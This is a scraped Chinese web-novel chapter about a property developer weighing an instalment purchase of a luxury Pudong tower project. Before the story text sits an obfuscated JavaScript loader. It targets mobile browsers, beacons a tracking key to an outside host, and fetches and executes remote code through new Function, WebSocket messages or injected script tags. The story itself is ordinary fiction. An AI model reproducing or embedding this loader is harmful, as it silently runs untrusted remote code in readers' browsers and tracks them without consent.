足迹
不想努力
登录
关灯
护眼
字体:

第139章 分期(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

时间回到1997年,亚洲金融危机前后。

魔都房地产市场进入调整期,唱衰浦东的声音甚嚣尘上,包括花旗集团、鹏利国际、汤臣集团、长江实业等外资却逆势而上,从当年小陆家嘴地区最大的“地主”之一——富都世界手中买地。

按照当年汇率,鹏利为这块地块支付的出让金,折合人民币四亿两千万,建筑面积为九万八千万平方米,折合项目的楼板价不到四千三每平米,比现如今后滩楼价都便宜。

哪怕加上建造三栋楼的建安成本、融资成本,整个项目的总投入也才十亿左右,2003年土地批复到现在,持有时间并不算长,报价四十个亿,转手就是三十亿利润,而且还不必再为销售而烦心。

外资控股的汤臣一品可以捂盘惜售,不是卖不出去,而是不乐意低价卖掉,哪怕钻了没有明文规定说不能囤积房源,被专项整治惩处了,依然没有松口的意思。

但鹏利壹号不行,吃着公粮,哪敢唱反调,涉及到社会民生问题,再加上有人提出了“像征收奢侈品税一样对房子征税”,一时间就算手上有钱,那些购房者们也开始观望起来,觉得价格会被压下去。

这大概便是中良母公司选择松口,打算出让项目的原因。

而范连城之所以敢动心思,主要是想赌个未来,赌政策会放松,所以才一边纠结一边念念不舍,有了今晚的饭局。

名叫秦子国的小主管也吃公家饭。

上头透露出落袋为安的意思,又碰上个潜在买家,此刻尽心尽责,继续告诉说:

“楼盘位置绝对没话说,引进了新加坡的物业管理团队,设计时候也考虑到了方方面面,你待会儿跟我们去看趟样板间,顶楼复式,差不多六百平米,无论是江对岸的万国建筑,还是旁边环球金融中心大厦、金茂大厦,全部尽收眼底。

小范总你跟我透个低,究竟是犹豫投不投资,还是觉得价格或是哪里有问题,咱们可以商量嘛,上头一天一个主意,说不定到时候又收紧不卖,自己继续捂着了,这价格等于是在原先商量的销售价格上减半。本来打算定个七万每平米,一个项目就能卖出至少八十个亿,真适合接手投资,我看你还在后滩拿个商住房项目?那地方胜在便宜,跟我们这楼盘一比,简直天差地别。”

烟这东西伤身体,范连城平时能不抽就不抽,偶尔酒桌上来两根,就跟喝酒一样,也是应酬。

老冯知道自己定位,一桌子挨个散完,继续跟人谈闲事,东拉西扯,有他在从不会冷场。

此刻手上夹着根烟,范连城坦然道:

“我这不是在龙城集团当副总么,今天跟董事长聊了聊,本来打算和龙城集团出资,一起接下这个项目。只是耿牛董事长不太感兴趣,觉得风险太大了,老实说我也觉得风险有点大,接手成本摆在那,还要加价挣钱,价格高了却不一定让卖,而且让我一次性掏出这么多钱,有点压力,先了解完考虑一下再看。”

“要是因为这事.....小范总和老范总实力摆在这,我们公司肯定放心,拿龙城地产股份做质押担保,分期个两三年应该不成问题。你要是真感兴趣,我帮你跟总部能做决定的那几位谈谈,价格上估计没法让步了,即使让步估计也相差不到哪去。”

秦子国笑着说完,举杯跟范连城喝了点。

范连城没有做好一次性把手头筹码全压的准备,对这分期的提议有点心动,转而问道:“要是不拿剩下的二期土地,单单接手一期的三栋楼,你们那边报价大概是多少?”

“这个......二期没建造,贵就贵在一期,要拿最好一起拿,如果拆开,公司那边更希望一整栋一整栋对外卖,定个四万多每平米,说不定就有酒店、外资公寓之类拿下来,肯定没这个报价划算。

实在手头紧可以先从银行走嘛,拿项目做担保,想通过审批轻轻松松,你这自己掏四十个亿出来,也太吃亏了,做生意可不就是能用银行的钱,就用银行的钱,利息看着挺高,其实钱年年贬值,房子涨价速度更快。”

范连城还没来得及跟银行沟通,不过想来问题应该不大,这两年房地产贷款审批容易,他也认识些银行的人,龙城的禁售股可以用于抵押,担保的事让老范来就行。

自从接到这个项目出售的消息,在心里已经盘算过无数次,整天跟房子打交道,也去港城太平山顶上见识过那些售价极高的豪宅,难免心动又冲动。

犹豫片刻后,开口回了句:“行,你再给我个合理报价,我去问问银行,要是没什么问题就继续往下谈。”

见他表态,秦子国顿时乐了,再起主动拿起杯子......

饭后。

从朗庭·龙城酒店门口坐车,前往鹏利壹号楼盘参观,认出公司车牌,几位精神抖擞的保安直接放行。

楼盘中间绿化才搞好没多久,树上叶子稀疏,路灯亮着,直接来到一号楼,入口处设立了咨询台,据说等有人入住后二十四小时安排员工守着,还带有个会客区,主要是用于跟不希望带去家里的客人见面,就在大厅里坐着聊,电梯直接入户。

奢华感有了,不比韩小雯家那边差,先参观一套位于二十八层的样板房,据说装修好花掉五百多万,还是成本价,一套沙发就四十万,面积三百五十五平米。